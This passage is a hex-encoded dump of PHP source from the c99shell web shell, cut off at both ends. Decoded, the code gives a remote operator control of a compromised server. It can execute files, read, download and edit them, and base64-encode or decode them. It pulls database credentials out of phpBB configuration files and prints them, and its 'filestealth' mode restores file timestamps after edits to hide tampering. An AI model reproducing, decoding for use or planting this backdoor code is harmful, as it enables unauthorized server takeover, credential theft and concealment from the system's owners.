63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 69 66 28 24 62 61 73 65 36 34 20 3D 3D 20 32 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 42 61 73 65 36 34 20 45 6E 63 6F 64 65 20 2B 20 43 68 75 6E 6B 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 63 68 75 6E 6B 5F 73 70 6C 69 74 28 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 29 29 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 69 66 28 24 62 61 73 65 36 34 20 3D 3D 20 33 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 42 61 73 65 36 34 20 45 6E 63 6F 64 65 20 2B 20 43 68 75 6E 6B 20 2B 20 51 75 6F 74 65 73 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 73 75 62 73 74 72 28 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 21 2E 7B 31 2C 37 36 7D 21 22 2C 22 27 5C 5C 30 27 2E 5C 6E 22 2C 24 65 6E 63 6F 64 65 64 29 2C 30 2C 2D 32 29 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 69 66 28 24 62 61 73 65 36 34 20 3D 3D 20 34 29 0A 20 20 20 7B 0A 20 20 20 20 24 74 65 78 74 20 3D 20 66 69 6C 65 5F 67 65 74 5F 63 6F 6E 74 65 6E 74 73 28 24 64 2E 24 66 29 3B 0A 20 20 20 20 24 65 6E 63 6F 64 65 64 20 3D 20 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 24 74 65 78 74 29 3B 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 42 61 73 65 36 34 20 44 65 63 6F 64 65 22 3B 0A 20 20 20 20 69 66 20 28 62 61 73 65 36 34 5F 65 6E 63 6F 64 65 28 24 65 6E 63 6F 64 65 64 29 20 21 3D 20 24 74 65 78 74 29 20 7B 65 63 68 6F 20 22 20 28 66 61 69 6C 65 64 29 22 3B 7D 0A 20 20 20 20 65 63 68 6F 20 22 3C 2F 62 3E 3C 62 72 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 65 6E 63 6F 64 65 64 29 29 0A 20 20 20 7B 0A 20 20 20 20 65 63 68 6F 20 22 3C 74 65 78 74 61 72 65 61 20 63 6F 6C 73 3D 38 30 20 72 6F 77 73 3D 31 30 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 65 6E 63 6F 64 65 64 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 62 72 3E 3C 62 72 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 65 63 68 6F 20 22 3C 62 3E 48 45 58 44 55 4D 50 3A 3C 2F 62 3E 3C 6E 6F 62 72 3E 20 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 66 75 6C 6C 68 65 78 64 75 6D 70 3D 31 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 46 75 6C 6C 3C 2F 61 3E 5D 20 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 50 72 65 76 69 65 77 3C 2F 61 3E 5D 3C 62 72 3E 3C 62 3E 42 61 73 65 36 34 3A 20 3C 2F 62 3E 0A 3C 6E 6F 62 72 3E 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 62 61 73 65 36 34 3D 31 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 45 6E 63 6F 64 65 3C 2F 61 3E 5D 26 6E 62 73 70 3B 3C 2F 6E 6F 62 72 3E 0A 3C 6E 6F 62 72 3E 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 62 61 73 65 36 34 3D 32 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 2B 63 68 75 6E 6B 3C 2F 61 3E 5D 26 6E 62 73 70 3B 3C 2F 6E 6F 62 72 3E 0A 3C 6E 6F 62 72 3E 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 62 61 73 65 36 34 3D 33 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 2B 63 68 75 6E 6B 2B 71 75 6F 74 65 73 3C 2F 61 3E 5D 26 6E 62 73 70 3B 3C 2F 6E 6F 62 72 3E 0A 3C 6E 6F 62 72 3E 5B 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6E 66 6F 26 62 61 73 65 36 34 3D 34 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 3E 44 65 63 6F 64 65 3C 2F 61 3E 5D 26 6E 62 73 70 3B 3C 2F 6E 6F 62 72 3E 0A 3C 50 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 68 74 6D 6C 22 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 24 77 68 69 74 65 29 20 7B 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 7D 0A 20 20 20 65 63 68 6F 20 24 72 3B 0A 20 20 20 69 66 20 28 24 77 68 69 74 65 29 20 7B 63 39 39 73 68 65 78 69 74 28 29 3B 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 74 78 74 22 29 20 7B 65 63 68 6F 20 22 3C 70 72 65 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 29 2E 22 3C 2F 70 72 65 3E 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 69 6E 69 22 29 20 7B 65 63 68 6F 20 22 3C 70 72 65 3E 22 3B 20 76 61 72 5F 64 75 6D 70 28 70 61 72 73 65 5F 69 6E 69 5F 66 69 6C 65 28 24 64 2E 24 66 2C 74 72 75 65 29 29 3B 20 65 63 68 6F 20 22 3C 2F 70 72 65 3E 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 70 68 70 73 65 73 73 22 29 0A 20 20 7B 0A 20 20 20 65 63 68 6F 20 22 3C 70 72 65 3E 22 3B 0A 20 20 20 24 76 20 3D 20 65 78 70 6C 6F 64 65 28 22 7C 22 2C 24 72 29 3B 0A 20 20 20 65 63 68 6F 20 24 76 5B 30 5D 2E 22 3C 62 72 3E 22 3B 0A 20 20 20 76 61 72 5F 64 75 6D 70 28 75 6E 73 65 72 69 61 6C 69 7A 65 28 24 76 5B 31 5D 29 29 3B 0A 20 20 20 65 63 68 6F 20 22 3C 2F 70 72 65 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 65 78 65 22 29 0A 20 20 7B 0A 20 20 20 24 65 78 74 20 3D 20 65 78 70 6C 6F 64 65 28 22 2E 22 2C 24 66 29 3B 0A 20 20 20 24 63 20 3D 20 63 6F 75 6E 74 28 24 65 78 74 29 2D 31 3B 0A 20 20 20 24 65 78 74 20 3D 20 24 65 78 74 5B 24 63 5D 3B 0A 20 20 20 24 65 78 74 20 3D 20 73 74 72 74 6F 6C 6F 77 65 72 28 24 65 78 74 29 3B 0A 20 20 20 24 72 66 74 20 3D 20 22 22 3B 0A 20 20 20 66 6F 72 65 61 63 68 28 24 65 78 65 66 74 79 70 65 73 20 61 73 20 24 6B 3D 3E 24 76 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 69 6E 5F 61 72 72 61 79 28 24 65 78 74 2C 24 76 29 29 20 7B 24 72 66 74 20 3D 20 24 6B 3B 20 62 72 65 61 6B 3B 7D 0A 20 20 20 7D 0A 20 20 20 24 63 6D 64 20 3D 20 73 74 72 5F 72 65 70 6C 61 63 65 28 22 25 66 25 22 2C 24 66 2C 24 72 66 74 29 3B 0A 20 20 20 65 63 68 6F 20 22 3C 62 3E 45 78 65 63 75 74 65 20 66 69 6C 65 3A 3C 2F 62 3E 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 61 63 74 20 76 61 6C 75 65 3D 63 6D 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 74 65 78 74 5C 22 20 6E 61 6D 65 3D 5C 22 63 6D 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 63 6D 64 29 2E 22 5C 22 20 73 69 7A 65 3D 5C 22 22 2E 28 73 74 72 6C 65 6E 28 24 63 6D 64 29 2B 32 29 2E 22 5C 22 3E 3C 62 72 3E 44 69 73 70 6C 61 79 20 69 6E 20 74 65 78 74 2D 61 72 65 61 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 63 68 65 63 6B 62 6F 78 5C 22 20 6E 61 6D 65 3D 5C 22 63 6D 64 5F 74 78 74 5C 22 20 76 61 6C 75 65 3D 5C 22 31 5C 22 20 63 68 65 63 6B 65 64 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 68 69 64 64 65 6E 20 6E 61 6D 65 3D 5C 22 64 5C 22 20 76 61 6C 75 65 3D 5C 22 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 29 2E 22 5C 22 3E 3C 62 72 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 45 78 65 63 75 74 65 5C 22 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 73 64 62 22 29 20 7B 65 63 68 6F 20 22 3C 70 72 65 3E 22 3B 20 76 61 72 5F 64 75 6D 70 28 75 6E 73 65 72 69 61 6C 69 7A 65 28 62 61 73 65 36 34 5F 64 65 63 6F 64 65 28 24 72 29 29 29 3B 20 65 63 68 6F 20 22 3C 2F 70 72 65 3E 22 3B 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 63 6F 64 65 22 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 65 72 65 67 28 22 70 68 70 22 2E 22 42 42 20 32 2E 28 2E 2A 29 20 61 75 74 6F 2D 67 65 6E 65 72 61 74 65 64 20 63 6F 6E 66 69 67 20 66 69 6C 65 22 2C 24 72 29 29 0A 20 20 20 7B 0A 20 20 20 20 24 61 72 72 20 3D 20 65 78 70 6C 6F 64 65 28 22 5C 6E 22 2C 24 72 29 3B 0A 20 20 20 20 69 66 20 28 63 6F 75 6E 74 28 24 61 72 72 20 3D 3D 20 31 38 29 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 69 6E 63 6C 75 64 65 28 24 64 2E 24 66 29 3B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 70 68 70 42 42 20 63 6F 6E 66 69 67 75 72 61 74 69 6F 6E 20 69 73 20 64 65 74 65 63 74 65 64 20 69 6E 20 74 68 69 73 20 66 69 6C 65 21 3C 62 72 3E 22 3B 0A 20 20 20 20 20 69 66 20 28 24 64 62 6D 73 20 3D 3D 20 22 6D 79 73 71 6C 34 22 29 20 7B 24 64 62 6D 73 20 3D 20 22 6D 79 73 71 6C 22 3B 7D 0A 20 20 20 20 20 69 66 20 28 24 64 62 6D 73 20 3D 3D 20 22 6D 79 73 71 6C 22 29 20 7B 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 73 71 6C 26 73 71 6C 5F 73 65 72 76 65 72 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 62 68 6F 73 74 29 2E 22 26 73 71 6C 5F 6C 6F 67 69 6E 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 62 75 73 65 72 29 2E 22 26 73 71 6C 5F 70 61 73 73 77 64 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 62 70 61 73 73 77 64 29 2E 22 26 73 71 6C 5F 70 6F 72 74 3D 33 33 30 36 26 73 71 6C 5F 64 62 3D 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 64 62 6E 61 6D 65 29 2E 22 5C 22 3E 3C 62 3E 3C 75 3E 43 6F 6E 6E 65 63 74 20 74 6F 20 44 42 3C 2F 75 3E 3C 2F 62 3E 3C 2F 61 3E 3C 62 72 3E 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 42 75 74 2C 20 79 6F 75 20 63 61 6E 27 74 20 63 6F 6E 6E 65 63 74 20 74 6F 20 66 6F 72 75 6D 20 73 71 6C 2D 62 61 73 65 2C 20 62 65 63 61 75 73 65 20 64 62 2D 73 6F 66 74 77 61 72 65 3D 5C 22 22 2E 24 64 62 6D 73 2E 22 5C 22 20 69 73 20 6E 6F 74 20 73 75 70 70 6F 72 74 65 64 20 62 79 20 63 39 39 73 68 65 6C 6C 2E 20 50 6C 65 61 73 65 2C 20 72 65 70 6F 72 74 20 75 73 20 66 6F 72 20 66 69 78 2E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 50 61 72 61 6D 65 74 65 72 73 20 66 6F 72 20 6D 61 6E 75 61 6C 20 63 6F 6E 6E 65 63 74 3A 3C 62 72 3E 22 3B 0A 20 20 20 20 20 24 63 66 67 76 61 72 73 20 3D 20 61 72 72 61 79 28 22 64 62 6D 73 22 3D 3E 24 64 62 6D 73 2C 22 64 62 68 6F 73 74 22 3D 3E 24 64 62 68 6F 73 74 2C 22 64 62 6E 61 6D 65 22 3D 3E 24 64 62 6E 61 6D 65 2C 22 64 62 75 73 65 72 22 3D 3E 24 64 62 75 73 65 72 2C 22 64 62 70 61 73 73 77 64 22 3D 3E 24 64 62 70 61 73 73 77 64 29 3B 0A 20 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 63 66 67 76 61 72 73 20 61 73 20 24 6B 3D 3E 24 76 29 20 7B 65 63 68 6F 20 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 6B 29 2E 22 3D 27 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 76 29 2E 22 27 3C 62 72 3E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 62 3E 3C 68 72 20 73 69 7A 65 3D 5C 22 31 5C 22 20 6E 6F 73 68 61 64 65 3E 22 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 65 63 68 6F 20 22 3C 64 69 76 20 73 74 79 6C 65 3D 5C 22 62 6F 72 64 65 72 20 3A 20 30 70 78 20 73 6F 6C 69 64 20 23 46 46 46 46 46 46 3B 20 70 61 64 64 69 6E 67 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 74 6F 70 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 62 6F 74 74 6F 6D 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 72 69 67 68 74 3A 20 31 65 6D 3B 20 6D 61 72 67 69 6E 2D 6C 65 66 74 3A 20 31 65 6D 3B 20 62 61 63 6B 67 72 6F 75 6E 64 2D 63 6F 6C 6F 72 3A 20 22 2E 24 68 69 67 68 6C 69 67 68 74 5F 62 61 63 6B 67 72 6F 75 6E 64 20 2E 22 3B 5C 22 3E 22 3B 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 77 68 69 74 65 29 29 20 7B 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 7D 0A 20 20 20 68 69 67 68 6C 69 67 68 74 5F 66 69 6C 65 28 24 64 2E 24 66 29 3B 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 77 68 69 74 65 29 29 20 7B 63 39 39 73 68 65 78 69 74 28 29 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 2F 64 69 76 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 64 6F 77 6E 6C 6F 61 64 22 29 0A 20 20 7B 0A 20 20 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 22 29 3B 0A 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 6C 65 6E 67 74 68 3A 20 22 2E 66 69 6C 65 73 69 7A 65 28 24 64 2E 24 66 29 29 3B 0A 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 64 69 73 70 6F 73 69 74 69 6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 20 66 69 6C 65 6E 61 6D 65 3D 5C 22 22 2E 24 66 2E 22 5C 22 3B 22 29 3B 0A 20 20 20 65 63 68 6F 20 24 72 3B 0A 20 20 20 65 78 69 74 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 6E 6F 74 65 70 61 64 22 29 0A 20 20 7B 0A 20 20 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 74 65 78 74 2F 70 6C 61 69 6E 22 29 3B 0A 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 64 69 73 70 6F 73 69 74 69 6F 6E 3A 20 61 74 74 61 63 68 6D 65 6E 74 3B 20 66 69 6C 65 6E 61 6D 65 3D 5C 22 22 2E 24 66 2E 22 2E 74 78 74 5C 22 3B 22 29 3B 0A 20 20 20 65 63 68 6F 28 24 72 29 3B 0A 20 20 20 65 78 69 74 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 69 6D 67 22 29 0A 20 20 7B 0A 20 20 20 24 69 6E 66 20 3D 20 67 65 74 69 6D 61 67 65 73 69 7A 65 28 24 64 2E 24 66 29 3B 0A 20 20 20 69 66 20 28 21 24 77 68 69 74 65 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 65 6D 70 74 79 28 24 69 6D 67 73 69 7A 65 29 29 20 7B 24 69 6D 67 73 69 7A 65 20 3D 20 32 30 3B 7D 0A 20 20 20 20 24 77 69 64 74 68 20 3D 20 24 69 6E 66 5B 30 5D 2F 31 30 30 2A 24 69 6D 67 73 69 7A 65 3B 0A 20 20 20 20 24 68 65 69 67 68 74 20 3D 20 24 69 6E 66 5B 31 5D 2F 31 30 30 2A 24 69 6D 67 73 69 7A 65 3B 0A 20 20 20 20 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 53 69 7A 65 3A 3C 2F 62 3E 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 24 73 69 7A 65 73 20 3D 20 61 72 72 61 79 28 22 31 30 30 22 2C 22 35 30 22 2C 22 32 30 22 29 3B 0A 20 20 20 20 66 6F 72 65 61 63 68 20 28 24 73 69 7A 65 73 20 61 73 20 24 76 29 0A 20 20 20 20 7B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 61 20 68 72 65 66 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6D 67 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 26 69 6D 67 73 69 7A 65 3D 22 2E 24 76 2E 22 5C 22 3E 22 3B 0A 20 20 20 20 20 69 66 20 28 24 69 6D 67 73 69 7A 65 20 21 3D 20 24 76 20 29 20 7B 65 63 68 6F 20 24 76 3B 7D 0A 20 20 20 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 75 3E 22 2E 24 76 2E 22 3C 2F 75 3E 22 3B 7D 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 2F 61 3E 26 6E 62 73 70 3B 26 6E 62 73 70 3B 26 6E 62 73 70 3B 22 3B 0A 20 20 20 20 7D 0A 20 20 20 20 65 63 68 6F 20 22 3C 62 72 3E 3C 62 72 3E 3C 69 6D 67 20 73 72 63 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 69 6D 67 26 77 68 69 74 65 3D 31 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 20 77 69 64 74 68 3D 5C 22 22 2E 24 77 69 64 74 68 2E 22 5C 22 20 68 65 69 67 68 74 3D 5C 22 22 2E 24 68 65 69 67 68 74 2E 22 5C 22 20 62 6F 72 64 65 72 3D 5C 22 31 5C 22 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 0A 20 20 20 7D 0A 20 20 20 65 6C 73 65 0A 20 20 20 7B 0A 20 20 20 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 20 20 20 24 65 78 74 20 3D 20 65 78 70 6C 6F 64 65 28 24 66 2C 22 2E 22 29 3B 0A 20 20 20 20 24 65 78 74 20 3D 20 24 65 78 74 5B 63 6F 75 6E 74 28 24 65 78 74 29 2D 31 5D 3B 0A 20 20 20 20 68 65 61 64 65 72 28 22 43 6F 6E 74 65 6E 74 2D 74 79 70 65 3A 20 22 2E 24 69 6E 66 5B 22 6D 69 6D 65 22 5D 29 3B 0A 20 20 20 20 72 65 61 64 66 69 6C 65 28 24 64 2E 24 66 29 3B 0A 20 20 20 20 65 78 69 74 3B 0A 20 20 20 7D 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 24 66 74 20 3D 3D 20 22 65 64 69 74 22 29 0A 20 20 7B 0A 20 20 20 69 66 20 28 21 65 6D 70 74 79 28 24 73 75 62 6D 69 74 29 29 0A 20 20 20 7B 0A 20 20 20 20 69 66 20 28 24 66 69 6C 65 73 74 65 61 6C 74 68 29 20 7B 24 73 74 61 74 20 3D 20 73 74 61 74 28 24 64 2E 24 66 29 3B 7D 0A 20 20 20 20 24 66 70 20 3D 20 66 6F 70 65 6E 28 24 64 2E 24 66 2C 22 77 22 29 3B 0A 20 20 20 20 69 66 20 28 21 24 66 70 29 20 7B 65 63 68 6F 20 22 3C 62 3E 43 61 6E 27 74 20 77 72 69 74 65 20 74 6F 20 66 69 6C 65 21 3C 2F 62 3E 22 3B 7D 0A 20 20 20 20 65 6C 73 65 0A 20 20 20 20 7B 0A 20 20 20 20 20 65 63 68 6F 20 22 3C 62 3E 53 61 76 65 64 21 3C 2F 62 3E 22 3B 0A 20 20 20 20 20 66 77 72 69 74 65 28 24 66 70 2C 24 65 64 69 74 5F 74 65 78 74 29 3B 0A 20 20 20 20 20 66 63 6C 6F 73 65 28 24 66 70 29 3B 0A 20 20 20 20 20 69 66 20 28 24 66 69 6C 65 73 74 65 61 6C 74 68 29 20 7B 74 6F 75 63 68 28 24 64 2E 24 66 2C 24 73 74 61 74 5B 39 5D 2C 24 73 74 61 74 5B 38 5D 29 3B 7D 0A 20 20 20 20 20 24 72 20 3D 20 24 65 64 69 74 5F 74 65 78 74 3B 0A 20 20 20 20 7D 0A 20 20 20 7D 0A 20 20 20 24 72 6F 77 73 20 3D 20 63 6F 75 6E 74 28 65 78 70 6C 6F 64 65 28 22 5C 72 5C 6E 22 2C 24 72 29 29 3B 0A 20 20 20 69 66 20 28 24 72 6F 77 73 20 3C 20 31 30 29 20 7B 24 72 6F 77 73 20 3D 20 31 30 3B 7D 0A 20 20 20 69 66 20 28 24 72 6F 77 73 20 3E 20 33 30 29 20 7B 24 72 6F 77 73 20 3D 20 33 30 3B 7D 0A 20 20 20 65 63 68 6F 20 22 3C 66 6F 72 6D 20 61 63 74 69 6F 6E 3D 5C 22 22 2E 24 73 75 72 6C 2E 22 61 63 74 3D 66 26 66 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 66 29 2E 22 26 66 74 3D 65 64 69 74 26 64 3D 22 2E 75 72 6C 65 6E 63 6F 64 65 28 24 64 29 2E 22 5C 22 20 6D 65 74 68 6F 64 3D 50 4F 53 54 3E 3C 69 6E 70 75 74 20 74 79 70 65 3D 73 75 62 6D 69 74 20 6E 61 6D 65 3D 73 75 62 6D 69 74 20 76 61 6C 75 65 3D 5C 22 53 61 76 65 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 72 65 73 65 74 5C 22 20 76 61 6C 75 65 3D 5C 22 52 65 73 65 74 5C 22 3E 26 6E 62 73 70 3B 3C 69 6E 70 75 74 20 74 79 70 65 3D 5C 22 62 75 74 74 6F 6E 5C 22 20 6F 6E 63 6C 69 63 6B 3D 5C 22 6C 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3D 27 22 2E 61 64 64 73 6C 61 73 68 65 73 28 24 73 75 72 6C 2E 22 61 63 74 3D 6C 73 26 64 3D 22 2E 73 75 62 73 74 72 28 24 64 2C 30 2C 2D 31 29 29 2E 22 27 3B 5C 22 20 76 61 6C 75 65 3D 5C 22 42 61 63 6B 5C 22 3E 3C 62 72 3E 3C 74 65 78 74 61 72 65 61 20 6E 61 6D 65 3D 5C 22 65 64 69 74 5F 74 65 78 74 5C 22 20 63 6F 6C 73 3D 5C 22 31 32 32 5C 22 20 72 6F 77 73 3D 5C 22 22 2E 24 72 6F 77 73 2E 22 5C 22 3E 22 2E 68 74 6D 6C 73 70 65 63 69 61 6C 63 68 61 72 73 28 24 72 29 2E 22 3C 2F 74 65 78 74 61 72 65 61 3E 3C 2F 66 6F 72 6D 3E 22 3B 0A 20 20 7D 0A 20 20 65 6C 73 65 69 66 20 28 21 65 6D 70 74 79 28 24 66 74 29 29 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 4D 61 6E 75 61 6C 6C 79 20 73 65 6C 65 63 74 65 64 20 74 79 70 65 20 69 73 20 69 6E 63 6F 72 72 65 63 74 2E 20 49 66 20 79 6F 75 20 74 68 69 6E 6B 2C 20 69 74 20 69 73 20 6D 69 73 74 61 6B 65 2C 20 70 6C 65 61 73 65 20 73 65 6E 64 20 75 73 20 75 72 6C 20 61 6E 64 20 64 75 6D 70 20 6F 66 20 5C 24 47 4C 4F 42 41 4C 53 2E 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 20 65 6C 73 65 20 7B 65 63 68 6F 20 22 3C 63 65 6E 74 65 72 3E 3C 62 3E 55 6E 6B 6E 6F 77 6E 20 65 78 74 65 6E 73 69 6F 6E 20 28 22 2E 24 65 78 74 2E 22 29 2C 20 70 6C 65 61 73 65 2C 20 73 65 6C 65 63 74 20 74 79 70 65 20 6D 61 6E 75 61 6C 6C 79 2E 3C 2F 62 3E 3C 2F 63 65 6E 74 65 72 3E 22 3B 7D 0A 20 7D 0A 7D 0A 7D 0A 65 6C 73 65 0A 7B 0A 20 40 6F 62 5F 63 6C 65 61 6E 28 29 3B 0A 20 24 69 6D 61 67 65 73 20 3D 20 61 72 72 61 79 28 0A 22 61 72 72 6F 77 5F 6C 74 72 22 3D 3E 0A 22 52 30 6C 47 4F 44 6C 68 4A 67 41 57 41 49 41 41 41 41 41 41 41 50 2F 2F 2F 79 48 35 42 41 55 55 41 41 